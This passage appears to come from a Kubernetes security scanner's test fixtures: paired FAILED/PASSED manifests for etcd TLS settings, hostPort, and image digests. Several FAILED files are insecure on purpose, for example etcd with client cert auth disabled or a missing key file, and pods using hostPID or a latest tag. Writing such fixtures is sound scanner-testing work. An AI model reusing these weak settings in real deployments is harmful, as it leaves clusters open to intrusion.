    "content": "apiVersion: v1\nkind: Pod\nmetadata:\n  annotations:\n    scheduler.alpha.kubernetes.io/critical-pod: \"\"\n  creationTimestamp: null\n  labels:\n    component: etcd\n    tier: control-plane\n  name: etcd-no-key\n  namespace: kube-system\nspec:\n  containers:\n  - command:\n    - etcd\n    - --cert-file=/etc/kubernetes/pki/etcd/server.crt\n    image: k8s.gcr.io/etcd-amd64:3.2.18\n    imagePullPolicy: IfNotPresent\n    livenessProbe:\n      exec:\n        command:\n        - /bin/sh\n        - -ec\n        - ETCDCTL_API=3 etcdctl --endpoints=https://[192.168.22.9]:2379 --cacert=/etc/kubernetes/pki/etcd/ca.crt\n          --cert=/etc/kubernetes/pki/etcd/healthcheck-client.crt --key=/etc/kubernetes/pki/etcd/healthcheck-client.key\n          get foo\n      failureThreshold: 8\n      initialDelaySeconds: 15\n      timeoutSeconds: 15\n    name: etcd-should-fail\n    resources: {}\n    volumeMounts:\n    - mountPath: /var/lib/etcd\n      name: etcd-data\n    - mountPath: /etc/kubernetes/pki/etcd\n      name: etcd-certs\n  hostNetwork: true\n  priorityClassName: system-cluster-critical\n  volumes:\n  - hostPath:\n      path: /var/lib/etcd\n      type: DirectoryOrCreate\n    name: etcd-data\n  - hostPath:\n      path: /etc/kubernetes/pki/etcd\n      type: DirectoryOrCreate\n    name: etcd-certs\nstatus: {}"
  },
  {
    "path": "tests/kubernetes/checks/example_EtcdCertAndKey/Etcd-PASSED.yaml",
    "content": "apiVersion: v1\nkind: Pod\nmetadata:\n  annotations:\n    scheduler.alpha.kubernetes.io/critical-pod: \"\"\n  creationTimestamp: null\n  labels:\n    component: etcd\n    tier: control-plane\n  name: etcd-key-and-cert\n  namespace: kube-system\nspec:\n  containers:\n  - command:\n    - etcd\n    - --cert-file=/etc/kubernetes/pki/etcd/server.crt\n    - --key-file=/etc/kubernetes/pki/etcd/server.key\n    image: k8s.gcr.io/etcd-amd64:3.2.18\n    imagePullPolicy: IfNotPresent\n    livenessProbe:\n      exec:\n        command:\n        - /bin/sh\n        - -ec\n        - ETCDCTL_API=3 etcdctl --endpoints=https://[192.168.22.9]:2379 --cacert=/etc/kubernetes/pki/etcd/ca.crt\n          --cert=/etc/kubernetes/pki/etcd/healthcheck-client.crt --key=/etc/kubernetes/pki/etcd/healthcheck-client.key\n          get foo\n      failureThreshold: 8\n      initialDelaySeconds: 15\n      timeoutSeconds: 15\n    name: etcd-should-pass\n    resources: {}\n    volumeMounts:\n    - mountPath: /var/lib/etcd\n      name: etcd-data\n    - mountPath: /etc/kubernetes/pki/etcd\n      name: etcd-certs\n  hostNetwork: true\n  priorityClassName: system-cluster-critical\n  volumes:\n  - hostPath:\n      path: /var/lib/etcd\n      type: DirectoryOrCreate\n    name: etcd-data\n  - hostPath:\n      path: /etc/kubernetes/pki/etcd\n      type: DirectoryOrCreate\n    name: etcd-certs\nstatus: {}"
  },
  {
    "path": "tests/kubernetes/checks/example_EtcdClientCertAuth/Etcd-FAILED-2.yaml",
    "content": "apiVersion: v1\nkind: Pod\nmetadata:\n  annotations:\n    scheduler.alpha.kubernetes.io/critical-pod: \"\"\n  creationTimestamp: null\n  labels:\n    component: etcd\n    tier: control-plane\n  name: etcd-default\n  namespace: kube-system\nspec:\n  containers:\n  - command:\n    - etcd\n    image: k8s.gcr.io/etcd-amd64:3.2.18\n    imagePullPolicy: IfNotPresent\n    livenessProbe:\n      exec:\n        command:\n        - /bin/sh\n        - -ec\n        - ETCDCTL_API=3 etcdctl --endpoints=https://[192.168.22.9]:2379 --cacert=/etc/kubernetes/pki/etcd/ca.crt\n          --cert=/etc/kubernetes/pki/etcd/healthcheck-client.crt --key=/etc/kubernetes/pki/etcd/healthcheck-client.key\n          get foo\n      failureThreshold: 8\n      initialDelaySeconds: 15\n      timeoutSeconds: 15\n    name: etcd-should-fail\n    resources: {}\n    volumeMounts:\n    - mountPath: /var/lib/etcd\n      name: etcd-data\n    - mountPath: /etc/kubernetes/pki/etcd\n      name: etcd-certs\n  hostNetwork: true\n  priorityClassName: system-cluster-critical\n  volumes:\n  - hostPath:\n      path: /var/lib/etcd\n      type: DirectoryOrCreate\n    name: etcd-data\n  - hostPath:\n      path: /etc/kubernetes/pki/etcd\n      type: DirectoryOrCreate\n    name: etcd-certs\nstatus: {}"
  },
  {
    "path": "tests/kubernetes/checks/example_EtcdClientCertAuth/Etcd-FAILED.yaml",
    "content": "apiVersion: v1\nkind: Pod\nmetadata:\n  annotations:\n    scheduler.alpha.kubernetes.io/critical-pod: \"\"\n  creationTimestamp: null\n  labels:\n    component: etcd\n    tier: control-plane\n  name: etcd-disabled\n  namespace: kube-system\nspec:\n  containers:\n  - command:\n    - etcd\n    - --client-cert-auth=false\n    image: k8s.gcr.io/etcd-amd64:3.2.18\n    imagePullPolicy: IfNotPresent\n    livenessProbe:\n      exec:\n        command:\n        - /bin/sh\n        - -ec\n        - ETCDCTL_API=3 etcdctl --endpoints=https://[192.168.22.9]:2379 --cacert=/etc/kubernetes/pki/etcd/ca.crt\n          --cert=/etc/kubernetes/pki/etcd/healthcheck-client.crt --key=/etc/kubernetes/pki/etcd/healthcheck-client.key\n          get foo\n      failureThreshold: 8\n      initialDelaySeconds: 15\n      timeoutSeconds: 15\n    name: etcd-should-fail\n    resources: {}\n    volumeMounts:\n    - mountPath: /var/lib/etcd\n      name: etcd-data\n    - mountPath: /etc/kubernetes/pki/etcd\n      name: etcd-certs\n  hostNetwork: true\n  priorityClassName: system-cluster-critical\n  volumes:\n  - hostPath:\n      path: /var/lib/etcd\n      type: DirectoryOrCreate\n    name: etcd-data\n  - hostPath:\n      path: /etc/kubernetes/pki/etcd\n      type: DirectoryOrCreate\n    name: etcd-certs\nstatus: {}"
  },
  {
    "path": "tests/kubernetes/checks/example_EtcdClientCertAuth/Etcd-PASSED.yaml",
    "content": "apiVersion: v1\nkind: Pod\nmetadata:\n  annotations:\n    scheduler.alpha.kubernetes.io/critical-pod: \"\"\n  creationTimestamp: null\n  labels:\n    component: etcd\n    tier: control-plane\n  name: etcd-enabled\n  namespace: kube-system\nspec:\n  containers:\n  - command:\n    - etcd\n    - --client-cert-auth=true\n    image: k8s.gcr.io/etcd-amd64:3.2.18\n    imagePullPolicy: IfNotPresent\n    livenessProbe:\n      exec:\n        command:\n        - /bin/sh\n        - -ec\n        - ETCDCTL_API=3 etcdctl --endpoints=https://[192.168.22.9]:2379 --cacert=/etc/kubernetes/pki/etcd/ca.crt\n          --cert=/etc/kubernetes/pki/etcd/healthcheck-client.crt --key=/etc/kubernetes/pki/etcd/healthcheck-client.key\n          get foo\n      failureThreshold: 8\n      initialDelaySeconds: 15\n      timeoutSeconds: 15\n    name: etcd-should-pass\n    resources: {}\n    volumeMounts:\n    - mountPath: /var/lib/etcd\n      name: etcd-data\n    - mountPath: /etc/kubernetes/pki/etcd\n      name: etcd-certs\n  hostNetwork: true\n  priorityClassName: system-cluster-critical\n  volumes:\n  - hostPath:\n      path: /var/lib/etcd\n      type: DirectoryOrCreate\n    name: etcd-data\n  - hostPath:\n      path: /etc/kubernetes/pki/etcd\n      type: DirectoryOrCreate\n    name: etcd-certs\nstatus: {}"
  },
  {
    "path": "tests/kubernetes/checks/example_EtcdPeerFiles/EtcdPeerFiles-FAILED.yaml",
    "content": "apiVersion: v1\nkind: Pod\nmetadata:\n  creationTimestamp: null\n  labels:\n    component: kube-apiserver\n    tier: control-plane\n  name: kube-apiserver\n  namespace: kube-system\nspec:\n  containers:\n  - command:\n    - etcd\n    - --peer-cert-file=file.pem\n    image: gcr.io/google_containers/kube-apiserver-amd64:v1.6.0\n    livenessProbe:\n      failureThreshold: 8\n      httpGet:\n        host: 127.0.0.1\n        path: /healthz\n        port: 6443\n        scheme: HTTPS\n      initialDelaySeconds: 15\n      timeoutSeconds: 15\n    name: kube-apiserver\n    resources:\n      requests:\n        cpu: 250m\n    volumeMounts:\n    - mountPath: /etc/kubernetes/\n      name: k8s\n      readOnly: true\n    - mountPath: /etc/ssl/certs\n      name: certs\n    - mountPath: /etc/pki\n      name: pki\n  hostNetwork: true\n  volumes:\n  - hostPath:\n      path: /etc/kubernetes\n    name: k8s\n  - hostPath:\n      path: /etc/ssl/certs\n    name: certs\n  - hostPath:\n      path: /etc/pki\n    name: pki"
  },
  {
    "path": "tests/kubernetes/checks/example_EtcdPeerFiles/EtcdPeerFiles-PASSED.yaml",
    "content": "apiVersion: v1\nkind: Pod\nmetadata:\n  creationTimestamp: null\n  labels:\n    component: kube-apiserver\n    tier: control-plane\n  name: kube-apiserver\n  namespace: kube-system\nspec:\n  containers:\n  - command:\n    - etcd\n    - --peer-cert-file=file.pem\n    - --peer-key-file=file.key\n    image: gcr.io/google_containers/kube-apiserver-amd64:v1.6.0\n    livenessProbe:\n      failureThreshold: 8\n      httpGet:\n        host: 127.0.0.1\n        path: /healthz\n        port: 6443\n        scheme: HTTPS\n      initialDelaySeconds: 15\n      timeoutSeconds: 15\n    name: kube-apiserver\n    resources:\n      requests:\n        cpu: 250m\n    volumeMounts:\n    - mountPath: /etc/kubernetes/\n      name: k8s\n      readOnly: true\n    - mountPath: /etc/ssl/certs\n      name: certs\n    - mountPath: /etc/pki\n      name: pki\n  hostNetwork: true\n  volumes:\n  - hostPath:\n      path: /etc/kubernetes\n    name: k8s\n  - hostPath:\n      path: /etc/ssl/certs\n    name: certs\n  - hostPath:\n      path: /etc/pki\n    name: pki"
  },
  {
    "path": "tests/kubernetes/checks/example_HostPort/DS-node-exporter-FAILED.yaml",
    "content": "apiVersion: extensions/v1beta1\nkind: DaemonSet\nmetadata:\n  name: prometheus-node-exporter\n  namespace: monitoring\nspec:\n  selector:\n    matchLabels:\n      app: prometheus-node-exporter\n  template:\n    spec:\n      containers:\n        - args:\n            - --path.procfs=/host/proc\n            - --path.sysfs=/host/sys\n            - --web.listen-address=0.0.0.0:9100\n            - --collector.filesystem.ignored-mount-points=^/(dev|proc|sys|var/lib/docker/.+)($|/)\n            - --collector.filesystem.ignored-fs-types=^(autofs|binfmt_misc|cgroup|configfs|debugfs|devpts|devtmpfs|fusectl|hugetlbfs|mqueue|overlay|proc|procfs|pstore|rpc_pipefs|securityfs|sysfs|tracefs)$\n          image: quay.io/prometheus/node-exporter:v0.18.1\n          imagePullPolicy: IfNotPresent\n          livenessProbe:\n            failureThreshold: 3\n            httpGet:\n              path: /\n              port: 9100\n              scheme: HTTP\n            periodSeconds: 10\n            successThreshold: 1\n            timeoutSeconds: 1\n          name: node-exporter\n          ports:\n            - containerPort: 9100\n              hostPort: 9100\n              name: metrics\n              protocol: TCP\n          readinessProbe:\n            failureThreshold: 3\n            httpGet:\n              path: /\n              port: 9100\n              scheme: HTTP\n            periodSeconds: 10\n            successThreshold: 1\n            timeoutSeconds: 1\n          volumeMounts:\n            - mountPath: /host/proc\n              name: proc\n              readOnly: true\n            - mountPath: /host/sys\n              name: sys\n              readOnly: true\n      dnsPolicy: ClusterFirst\n      hostNetwork: true\n      hostPID: true\n      restartPolicy: Always\n      schedulerName: default-scheduler\n      securityContext:\n        runAsNonRoot: true\n        runAsUser: 65534\n      serviceAccount: prometheus-node-exporter\n      serviceAccountName: prometheus-node-exporter\n      volumes:\n        - hostPath:\n            path: /proc\n            type: \"\"\n          name: proc\n        - hostPath:\n            path: /sys\n            type: \"\"\n          name: sys\n  updateStrategy:\n    rollingUpdate:\n      maxUnavailable: 1\n    type: RollingUpdate\n\n"
  },
  {
    "path": "tests/kubernetes/checks/example_HostPort/nginx-app-FAILED.yaml",
    "content": "apiVersion: apps/v1\nkind: Deployment\nmetadata:\n  name: my-nginx\n  labels:\n    app: nginx\nspec:\n  replicas: 3\n  selector:\n    matchLabels:\n      app: nginx\n  template:\n    metadata:\n      labels:\n        app: nginx\n    spec:\n      containers:\n        - name: nginx\n          image: nginx:1.14.2\n          ports:\n            - containerPort: 80\n            - containerPort: 443\n              hostPort: 443\n              name: https\n"
  },
  {
    "path": "tests/kubernetes/checks/example_HostPort/nginx-app-PASSED.yaml",
    "content": "apiVersion: v1\nkind: Service\nmetadata:\n  name: my-nginx-svc\n  labels:\n    app: nginx\nspec:\n  type: LoadBalancer\n  ports:\n    - port: 80\n  selector:\n    app: nginx\n---\napiVersion: apps/v1\nkind: Deployment\nmetadata:\n  name: my-nginx\n  labels:\n    app: nginx\nspec:\n  replicas: 3\n  selector:\n    matchLabels:\n      app: nginx\n  template:\n    metadata:\n      labels:\n        app: nginx\n    spec:\n      containers:\n        - name: nginx\n          image: nginx:1.14.2\n          ports:\n            - containerPort: 80\n---\napiVersion: apps/v1\nkind: Deployment\nmetadata:\n  name: my-nginx2\n  labels:\n    app: nginx\nspec:\n  replicas: 3\n  selector:\n    matchLabels:\n      app: nginx\n  template:\n    metadata:\n      labels:\n        app: nginx\n    spec:\n      containers:\n        - name: nginx\n          image: nginx:1.14.2\n          ports: null\n"
  },
  {
    "path": "tests/kubernetes/checks/example_ImageDigest/imageWithTagAndDigest-PASSED.yaml",
    "content": "---\napiVersion: v1\nkind: Service\nmetadata:\n  name: kafka-hs\n  labels:\n    app: kafka\nspec:\n  ports:\n  - port: 9093\n    name: server\n  clusterIP: None\n  selector:\n    app: kafka\n---\napiVersion: policy/v1beta1\nkind: PodDisruptionBudget\nmetadata:\n  name: kafka-pdb\nspec:\n  selector:\n    matchLabels:\n      app: kafka\n  maxUnavailable: 1\n---\napiVersion: apps/v1beta1\nkind: StatefulSet\nmetadata:\n  name: kafka\nspec:\n  serviceName: kafka-hs\n  replicas: 5\n  podManagementPolicy: Parallel\n  updateStrategy:\n      type: RollingUpdate\n  template:\n    metadata:\n      labels:\n        app: kafka\n    spec:\n      affinity:\n        podAntiAffinity:\n          requiredDuringSchedulingIgnoredDuringExecution:\n            - labelSelector:\n                matchExpressions:\n                  - key: \"app\"\n                    operator: In\n                    values: \n                    - kafka\n              topologyKey: \"kubernetes.io/hostname\"\n        podAffinity:\n          preferredDuringSchedulingIgnoredDuringExecution:\n             - weight: 1\n               podAffinityTerm:\n                 labelSelector:\n                    matchExpressions:\n                      - key: \"app\"\n                        operator: In\n                        values: \n                        - zk\n                 topologyKey: \"kubernetes.io/hostname\"\n      terminationGracePeriodSeconds: 300\n      containers:\n      - name: k8skafka\n        imagePullPolicy: Always\n        image: gcr.io/google_containers/kubernetes-kafka:1.0-10.2.1@sha256:123456\n        resources:\n          requests:\n            memory: \"12Gi\"\n            cpu: 4\n        ports:\n        - containerPort: 9093\n          name: server\n        command:\n        - sh\n        - -c\n        - \"exec kafka-server-start.sh /opt/kafka/config/server.properties --override broker.id=${HOSTNAME##*-} \\\n          --override listeners=PLAINTEXT://:9093 \\\n          --override zookeeper.connect=zk-cs.default.svc.cluster.local:2181 \\\n          --override log.dir=/var/lib/kafka \\\n          --override auto.create.topics.enable=true \\\n          --override auto.leader.rebalance.enable=true \\\n          --override background.threads=10 \\\n          --override compression.type=producer \\\n          --override delete.topic.enable=false \\\n          --override leader.imbalance.check.interval.seconds=300 \\\n          --override leader.imbalance.per.broker.percentage=10 \\\n          --override log.flush.interval.messages=9223372036854775807 \\\n          --override log.flush.offset.checkpoint.interval.ms=60000 \\\n          --override log.flush.scheduler.interval.ms=9223372036854775807 \\\n          --override log.retention.bytes=-1 \\\n          --override log.retention.hours=168 \\\n          --override log.roll.hours=168 \\\n          --override log.roll.jitter.hours=0 \\\n          --override log.segment.bytes=1073741824 \\\n          --override log.segment.delete.delay.ms=60000 \\\n          --override message.max.bytes=1000012 \\\n          --override min.insync.replicas=1 \\\n          --override num.io.threads=8 \\\n          --override num.network.threads=3 \\\n          --override num.recovery.threads.per.data.dir=1 \\\n          --override num.replica.fetchers=1 \\\n          --override offset.metadata.max.bytes=4096 \\\n          --override offsets.commit.required.acks=-1 \\\n          --override offsets.commit.timeout.ms=5000 \\\n          --override offsets.load.buffer.size=5242880 \\\n          --override offsets.retention.check.interval.ms=600000 \\\n          --override offsets.retention.minutes=1440 \\\n          --override offsets.topic.compression.codec=0 \\\n          --override offsets.topic.num.partitions=50 \\\n          --override offsets.topic.replication.factor=3 \\\n          --override offsets.topic.segment.bytes=104857600 \\\n          --override queued.max.requests=500 \\\n          --override quota.consumer.default=9223372036854775807 \\\n          --override quota.producer.default=9223372036854775807 \\\n          --override replica.fetch.min.bytes=1 \\\n          --override replica.fetch.wait.max.ms=500 \\\n          --override replica.high.watermark.checkpoint.interval.ms=5000 \\\n          --override replica.lag.time.max.ms=10000 \\\n          --override replica.socket.receive.buffer.bytes=65536 \\\n          --override replica.socket.timeout.ms=30000 \\\n          --override request.timeout.ms=30000 \\\n          --override socket.receive.buffer.bytes=102400 \\\n          --override socket.request.max.bytes=104857600 \\\n          --override socket.send.buffer.bytes=102400 \\\n          --override unclean.leader.election.enable=true \\\n          --override zookeeper.session.timeout.ms=6000 \\\n          --override zookeeper.set.acl=false \\\n          --override broker.id.generation.enable=true \\\n          --override connections.max.idle.ms=600000 \\\n          --override controlled.shutdown.enable=true \\\n          --override controlled.shutdown.max.retries=3 \\\n          --override controlled.shutdown.retry.backoff.ms=5000 \\\n          --override controller.socket.timeout.ms=30000 \\\n          --override default.replication.factor=1 \\\n          --override fetch.purgatory.purge.interval.requests=1000 \\\n          --override group.max.session.timeout.ms=300000 \\\n          --override group.min.session.timeout.ms=6000 \\\n          --override inter.broker.protocol.version=0.10.2-IV0 \\\n          --override log.cleaner.backoff.ms=15000 \\\n          --override log.cleaner.dedupe.buffer.size=134217728 \\\n          --override log.cleaner.delete.retention.ms=86400000 \\\n          --override log.cleaner.enable=true \\\n          --override log.cleaner.io.buffer.load.factor=0.9 \\\n          --override log.cleaner.io.buffer.size=524288 \\\n          --override log.cleaner.io.max.bytes.per.second=1.7976931348623157E308 \\\n          --override log.cleaner.min.cleanable.ratio=0.5 \\\n          --override log.cleaner.min.compaction.lag.ms=0 \\\n          --override log.cleaner.threads=1 \\\n          --override log.cleanup.policy=delete \\\n          --override log.index.interval.bytes=4096 \\\n          --override log.index.size.max.bytes=10485760 \\\n          --override log.message.timestamp.difference.max.ms=9223372036854775807 \\\n          --override log.message.timestamp.type=CreateTime \\\n          --override log.preallocate=false \\\n          --override log.retention.check.interval.ms=300000 \\\n          --override max.connections.per.ip=2147483647 \\\n          --override num.partitions=1 \\\n          --override producer.purgatory.purge.interval.requests=1000 \\\n          --override replica.fetch.backoff.ms=1000 \\\n          --override replica.fetch.max.bytes=1048576 \\\n          --override replica.fetch.response.max.bytes=10485760 \\\n          --override reserved.broker.max.id=1000 \"\n        env:\n        - name: KAFKA_HEAP_OPTS\n          value : \"-Xmx2G -Xms2G\"\n        - name: KAFKA_OPTS\n          value: \"-Dlogging.level=INFO\"\n        volumeMounts:\n        - name: datadir\n          mountPath: /var/lib/kafka\n        readinessProbe:\n          exec:\n           command: \n            - sh \n            - -c \n            - \"/opt/kafka/bin/kafka-broker-api-versions.sh --bootstrap-server=localhost:9093\"\n      securityContext:\n        runAsUser: 1000\n        fsGroup: 1000\n  volumeClaimTemplates:\n  - metadata:\n      name: datadir\n    spec:\n      accessModes: [ \"ReadWriteOnce\" ]\n      resources:\n        requests:\n          storage: 10Gi\n"
  },
  {
    "path": "tests/kubernetes/checks/example_ImageDigest/job-ImageTagLatest-FAILED.yaml",
    "content": "apiVersion: batch/v1\nkind: Job\nmetadata:\n  name: countdown\nspec:\n  template:\n    metadata:\n      name: countdown\n    spec:\n      containers:\n      - name: counter\n        image: centos:latest\n        command:\n         - \"bin/bash\"\n         - \"-c\"\n         - \"for i in 9 8 7 6 5 4 3 2 1 ; do echo $i ; done\"\n      restartPolicy: Never\n"
  },
  {
    "path": "tests/kubernetes/checks/example_ImageDigest/kafka-PASSED.yaml",
    "content": "---\napiVersion: v1\nkind: Service\nmetadata:\n  name: kafka-hs\n  labels:\n    app: kafka\nspec:\n  ports:\n  - port: 9093\n    name: server\n  clusterIP: None\n  selector:\n    app: kafka\n---\napiVersion: policy/v1beta1\nkind: PodDisruptionBudget\nmetadata:\n  name: kafka-pdb\nspec:\n  selector:\n    matchLabels:\n      app: kafka\n  maxUnavailable: 1\n---\napiVersion: apps/v1beta1\nkind: StatefulSet\nmetadata:\n  name: kafka\nspec:\n  serviceName: kafka-hs\n  replicas: 5\n  podManagementPolicy: Parallel\n  updateStrategy:\n      type: RollingUpdate\n  template:\n    metadata:\n      labels:\n        app: kafka\n    spec:\n      affinity:\n        podAntiAffinity:\n          requiredDuringSchedulingIgnoredDuringExecution:\n            - labelSelector:\n                matchExpressions:\n                  - key: \"app\"\n                    operator: In\n                    values: \n                    - kafka\n              topologyKey: \"kubernetes.io/hostname\"\n        podAffinity:\n          preferredDuringSchedulingIgnoredDuringExecution:\n             - weight: 1\n               podAffinityTerm:\n                 labelSelector:\n                    matchExpressions:\n                      - key: \"app\"\n                        operator: In\n                        values: \n                        - zk\n                 topologyKey: \"kubernetes.io/hostname\"\n      terminationGracePeriodSeconds: 300\n      containers:\n      - name: k8skafka\n        imagePullPolicy: Always\n        image: gcr.io/google_containers/kubernetes-kafka@sha256:123456\n        resources:\n          requests:\n            memory: \"12Gi\"\n            cpu: 4\n        ports:\n        - containerPort: 9093\n          name: server\n        command:\n        - sh\n        - -c\n        - \"exec kafka-server-start.sh /opt/kafka/config/server.properties --override broker.id=${HOSTNAME##*-} \\\n          --override listeners=PLAINTEXT://:9093 \\\n          --override zookeeper.connect=zk-cs.default.svc.cluster.local:2181 \\\n          --override log.dir=/var/lib/kafka \\\n          --override auto.create.topics.enable=true \\\n          --override auto.leader.rebalance.enable=true \\\n          --override background.threads=10 \\\n          --override compression.type=producer \\\n          --override delete.topic.enable=false \\\n          --override leader.imbalance.check.interval.seconds=300 \\\n          --override leader.imbalance.per.broker.percentage=10 \\\n          --override log.flush.interval.messages=9223372036854775807 \\\n          --override log.flush.offset.checkpoint.interval.ms=60000 \\\n          --override log.flush.scheduler.interval.ms=9223372036854775807 \\\n          --override log.retention.bytes=-1 \\\n          --override log.retention.hours=168 \\\n          --override log.roll.hours=168 \\\n          --override log.roll.jitter.hours=0 \\\n          --override log.segment.bytes=1073741824 \\\n          --override log.segment.delete.delay.ms=60000 \\\n          --override message.max.bytes=1000012 \\\n          --override min.insync.replicas=1 \\\n          --override num.io.threads=8 \\\n          --override num.network.threads=3 \\\n          --override num.recovery.threads.per.data.dir=1 \\\n          --override num.replica.fetchers=1 \\\n          --override offset.metadata.max.bytes=4096 \\\n          --override offsets.commit.required.acks=-1 \\\n          --override offsets.commit.timeout.ms=5000 \\\n          --override offsets.load.buffer.size=5242880 \\\n          --override offsets.retention.check.interval.ms=600000 \\\n          --override offsets.retention.minutes=1440 \\\n          --override offsets.topic.compression.codec=0 \\\n          --override offsets.topic.num.partitions=50 \\\n          --override offsets.topic.replication.factor=3 \\\n          --override offsets.topic.segment.bytes=104857600 \\\n          --override queued.max.requests=500 \\\n          --override quota.consumer.default=9223372036854775807 \\\n          --override quota.producer.default=9223372036854775807 \\\n          --override replica.fetch.min.bytes=1 \\\n          --override replica.fetch.wait.max.ms=500 \\\n          --override replica.high.watermark.checkpoint.interval.ms=5000 \\\n          --override replica.lag.time.max.ms=10000 \\\n          --override replica.socket.receive.buffer.bytes=65536 \\\n          --override replica.socket.timeout.ms=30000 \\\n          --override request.timeout.ms=30000 \\\n          --override socket.receive.buffer.bytes=102400 \\\n          --override socket.request.max.bytes=104857600 \\\n          --override socket.send.buffer.bytes=102400 \\\n          --override unclean.leader.election.enable=true \\\n          --override zookeeper.session.timeout.ms=6000 \\\n          --override zookeeper.set.acl=false \\\n          --override broker.id.generation.enable=true \\\n          --override connections.max.idle.ms=600000 \\\n          --override controlled.shutdown.enable=true \\\n          --override controlled.shutdown.max.retries=3 \\\n          --override controlled.shutdown.retry.backoff.ms=5000 \\\n          --override controller.socket.timeout.ms=30000 \\\n          --override default.replication.factor=1 \\\n          --override fetch.purgatory.purge.interval.requests=1000 \\\n          --override group.max.session.timeout.ms=300000 \\\n          --override group.min.session.timeout.ms=6000 \\\n          --override inter.broker.protocol.version=0.10.2-IV0 \\\n          --override log.cleaner.backoff.ms=15000 \\\n          --override log.cleaner.dedupe.buffer.size=134217728 \\\n          --override log.cleaner.delete.retention.ms=86400000 \\\n          --override log.cleaner.enable=true \\\n          --override log.cleaner.io.buffer.load.factor=0.9 \\\n          --override log.cleaner.io.buffer.size=524288 \\\n          --override log.cleaner.io.max.bytes.per.second=1.7976931348623157E308 \\\n          --override log.cleaner.min.cleanable.ratio=0.5 \\\n          --override log.cleaner.min.compaction.lag.ms=0 \\\n          --override log.cleaner.threads=1 \\\n          --override log.cleanup.policy=delete \\\n          --override log.index.interval.bytes=4096 \\\n          --override log.index.size.max.bytes=10485760 \\\n          --override log.message.timestamp.difference.max.ms=9223372036854775807 \\\n          --override log.message.timestamp.type=CreateTime \\\n          --override log.preallocate=false \\\n          --override log.retention.check.interval.ms=300000 \\\n          --override max.connections.per.ip=2147483647 \\\n          --override num.partitions=1 \\\n          --override producer.purgatory.purge.interval.requests=1000 \\\n          --override replica.fetch.backoff.ms=1000 \\\n          --override replica.fetch.max.bytes=1048576 \\\n          --override replica.fetch.response.max.bytes=10485760 \\\n          --override reserved.broker.max.id=1000 \"\n        env:\n        - name: KAFKA_HEAP_OPTS\n          value : \"-Xmx2G -Xms2G\"\n        - name: KAFKA_OPTS\n          value: \"-Dlogging.level=INFO\"\n        volumeMounts:\n        - name: datadir\n          mountPath: /var/lib/kafka\n        readinessProbe:\n          exec:\n           command: \n            - sh \n            - -c \n            - \"/opt/kafka/bin/kafka-broker-api-versions.sh --bootstrap-server=localhost:9093\"\n      securityContext:\n        runAsUser: 1000\n        fsGroup: 1000\n  volumeClaimTemplates:\n  - metadata:\n      name: datadir\n    spec:\n      accessModes: [ \"ReadWriteOnce\" ]\n      resources:\n        requests:\n          storage: 10Gi\n"
  },
  {
    "path": "tests/kubernetes/checks/example_ImageDigest/kafka-withrepo-PASSED.yaml",
    "content": "apiVersion: apps/v1beta1\nkind: StatefulSet\nmetadata:\n  name: kafka\nspec:\n  serviceName: kafka-hs\n  replicas: 5\n  podManagementPolicy: Parallel\n  updateStrategy:\n    type: RollingUpdate\n  template:\n    metadata:\n      labels:\n        app: kafka\n    spec:\n      affinity:\n        podAntiAffinity:\n          requiredDuringSchedulingIgnoredDuringExecution:\n            - labelSelector:\n                matchExpressions:\n                  - key: \"app\"\n                    operator: In\n                    values:\n                      - kafka\n              topologyKey: \"kubernetes.io/hostname\"\n        podAffinity:\n          preferredDuringSchedulingIgnoredDuringExecution:\n            - weight: 1\n              podAffinityTerm:\n                labelSelector:\n                  matchExpressions:\n                    - key: \"app\"\n                      operator: In\n                      values:\n                        - zk\n                topologyKey: \"kubernetes.io/hostname\"\n      terminationGracePeriodSeconds: 300\n      containers:\n        - name: k8skafka\n          imagePullPolicy: Always\n          image: docker-registry.mycompany.co:4567/super-sre/kafka/kafka-docker/release@sha256:123456\n          resources:\n            requests:\n              memory: \"12Gi\"\n              cpu: 4\n          ports:\n            - containerPort: 9093\n              name: server\n          command:\n            - sh\n            - -c\n            - \"exec kafka-server-start.sh /opt/kafka/config/server.properties --override broker.id=${HOSTNAME##*-} \\\n          --override listeners=PLAINTEXT://:9093 \\\n          --override zookeeper.connect=zk-cs.default.svc.cluster.local:2181 \\\n          --override log.dir=/var/lib/kafka \\\n          --override auto.create.topics.enable=true \\\n          --override auto.leader.rebalance.enable=true \\\n          --override background.threads=10 \\\n          --override compression.type=producer \\\n          --override delete.topic.enable=false \\\n          --override leader.imbalance.check.interval.seconds=300 \\\n          --override leader.imbalance.per.broker.percentage=10 \\\n          --override log.flush.interval.messages=9223372036854775807 \\\n          --override log.flush.offset.checkpoint.interval.ms=60000 \\\n          --override log.flush.scheduler.interval.ms=9223372036854775807 \\\n          --override log.retention.bytes=-1 \\\n          --override log.retention.hours=168 \\\n          --override log.roll.hours=168 \\\n          --override log.roll.jitter.hours=0 \\\n          --override log.segment.bytes=1073741824 \\\n          --override log.segment.delete.delay.ms=60000 \\\n          --override message.max.bytes=1000012 \\\n          --override min.insync.replicas=1 \\\n          --override num.io.threads=8 \\\n          --override num.network.threads=3 \\\n          --override num.recovery.threads.per.data.dir=1 \\\n          --override num.replica.fetchers=1 \\\n          --override offset.metadata.max.bytes=4096 \\\n          --override offsets.commit.required.acks=-1 \\\n          --override offsets.commit.timeout.ms=5000 \\\n          --override offsets.load.buffer.size=5242880 \\\n          --override offsets.retention.check.interval.ms=600000 \\\n          --override offsets.retention.minutes=1440 \\\n          --override offsets.topic.compression.codec=0 \\\n          --override offsets.topic.num.partitions=50 \\\n          --override offsets.topic.replication.factor=3 \\\n          --override offsets.topic.segment.bytes=104857600 \\\n          --override queued.max.requests=500 \\\n          --override quota.consumer.default=9223372036854775807 \\\n          --override quota.producer.default=9223372036854775807 \\\n          --override replica.fetch.min.bytes=1 \\\n          --override replica.fetch.wait.max.ms=500 \\\n          --override replica.high.watermark.checkpoint.interval.ms=5000 \\\n          --override replica.lag.time.max.ms=10000 \\\n          --override replica.socket.receive.buffer.bytes=65536 \\\n          --override replica.socket.timeout.ms=30000 \\\n          --override request.timeout.ms=30000 \\\n          --override socket.receive.buffer.bytes=102400 \\\n          --override socket.request.max.bytes=104857600 \\\n          --override socket.send.buffer.bytes=102400 \\\n          --override unclean.leader.election.enable=true \\\n          --override zookeeper.session.timeout.ms=6000 \\\n          --override zookeeper.set.acl=false \\\n          --override broker.id.generation.enable=true \\\n          --override connections.max.idle.ms=600000 \\\n          --override controlled.shutdown.enable=true \\\n          --override controlled.shutdown.max.retries=3 \\\n          --override controlled.shutdown.retry.backoff.ms=5000 \\\n          --override controller.socket.timeout.ms=30000 \\\n          --override default.replication.factor=1 \\\n          --override 